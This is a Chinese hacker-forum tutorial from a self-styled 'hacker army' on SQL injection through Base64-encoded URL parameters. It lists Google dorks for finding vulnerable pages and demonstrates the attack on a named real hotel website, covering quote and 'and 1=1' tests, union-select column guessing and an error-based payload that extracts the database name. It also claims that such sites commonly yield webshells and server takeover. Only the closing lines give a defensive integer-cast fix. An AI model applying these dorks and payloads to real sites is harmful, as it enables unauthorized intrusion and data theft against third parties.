什么是注入?估计有点基础的人都会反问,你傻逼吧,问这么傻逼的问题,把自己的SQL语句插入到原程序中,操作数据库。
你的注入熟吗?常在论坛逛的人都会反问,你傻逼吧,问这么傻逼的问题,论坛这么多关于注入的文章,怎么可能不会,工具注手注无所不会。
那么你知道Base64变异注入吗?这下轮到你傻逼了吧?不知道,而且工具也没这么个功能,或者说,闻所未闻。如果你感觉对SQL手工注入已经很熟了,看看这篇文章吧
作者:YoCo Smart
来自:Silic Group Hacker Army
http://blackbap.org
通常我们在Google上面找SQL注入漏洞的时候,关键字会这么构造:
inurl:news.php?id=
inurl:*.php?id=12
inurl:.php?articleid=
....
不管怎么搜,通常我们的固定思维是,GET取值不是数字就是字符。整型数字,或者字符串。
那么你想没想过,如果你是程序编写者,你把这个真正的数字“隐藏”起来,该怎么做?一个好的方法就是对数字进行Base64加密。这个加密可逆,而且全是字符,操作起来又简单方便。
但是,有个问题就是Base64虽然可以隐藏数字,但是如果对数字不进行正则或者过滤,就产生了SQL注入。
事实上,这种把数字加密为Base64的url的网站多数存在注入点。你随便翻开一个注入点,注入,得到webshell或者服务器,你会发现上面已经有“前辈”们上去过了。而这些Base64变形的注入点,上面却干干净净。
好了,现在就告诉你什么是Base64变形注入。
Base64是一种加密方式,简单通俗的说,就是将任何的字母,数字,符号,汉字,进行一种编码,这种编码类似HEX编码,但是比HEX编码更复杂,但是仍然可逆,特点就是比原字符串的体积增加40%。关于这种加密方式,可以看一下这里:《网络传输协议----Base64详解》,如果看不懂也不要紧,我在文章末尾会提供一个Base64加密解密工具。
好了步入正题。
在谷歌选择注入关键字的时候,可能会有这样的关键字:
inurl:.php?id=13
那么,Base64编译注入的相同关键字“13”就是这样:
inurl:.php?id=MTM=
很怪?其实不怪,就是这样的,如图:
(经过测试,这个页面上的网址99%是注入点,这里面又有一半可以拿到Webshell,拿到Webshell的又有五到七成能拿下服务器)
.php?id=MTM=其实就是.php?id=13
只不过客户端显示的是Base64编码,而实际上服务器上是以"13"来执行的
.php?id=13加单引号来判断注入点,这样的注入步骤一样。只不过不是直接13加引号,要把13'这个来Base64编码。
13'这个字符串进行Base64编码得到:MTMn
以Google得到的第一个网址为例,
http://www.favehotels.com/location.php?id=MTM=
变更为:
http://www.favehotels.com/location.php?id=MTMn
我们看到了SQL的错误回显:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 3
这个错误回显很熟悉吧?
我们这样“.php?id=13 and 1=1”试试?
注意,Base64编码这里不能用加号"+"或者"%20"来替换SQL语句的空格
"13 and 1=1"的Base64编码就是"MTMgYW5kIDE9MQ=="
我们访问一下:
http://www.favehotels.com/location.php?id=MTM=
http://www.favehotels.com/location.php?id=MTMgYW5kIDE9MQ==
这两个页面是一模一样的对吧?
恩好了,后面要做的就是猜字段数和爆数据了
很不好意思的一点就是,这个网站的字段数我没有猜到。因为Base64编码虽然很容易转换,但是没猜一次就要转一次编码,实在繁琐。
我一直猜到了17个字段
正常的语句是:
.php?id=0 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7
那么转换成Base64的注入语句就是:
数据库提示联合查询的字段数不统一:
The used SELECT statements have a different number of columns
有兴趣的同学继续猜好了,我这里抛砖引玉了。
我们遇到这种编码的站,如果嫌麻烦,不妨用一下MySQL错误回显注入的知识:《MySQL错误回显套公式法注入》
那么注入语句也就是:
.php?id=0 union select 1 from (select count(*),concat(floor(rand(0)*2),(select database()))a from information_schema.tables group by a)b
进行Base64编码得到:
如图获得数据库名为:thefavehotels
代码相关:
这种编码防注入方法其实很简单,我们先从网站源码看起:
$at_id=base64_decode($_REQUEST['id']);//获取变量id并进行解码
$setcount=mysql_query("select at_visit from tbl_at where at_id='".$at_id."'") or die(mysql_error());
//将解码后的id直接带进数据库
我们且不管程序员怎么编码解码,总之,最后带进数据库的SQL语句,没有进行任何的检查,无论该是正则还是过滤,都没有。
那么,我们在他带进数据库以前进行强制转型为int整数型
这样就不会产生Base64编码下的注入漏洞了。
也可以直接将原语句改为:
$at_id=(int)base64_decode($_REQUEST['id']);
是一样的效果。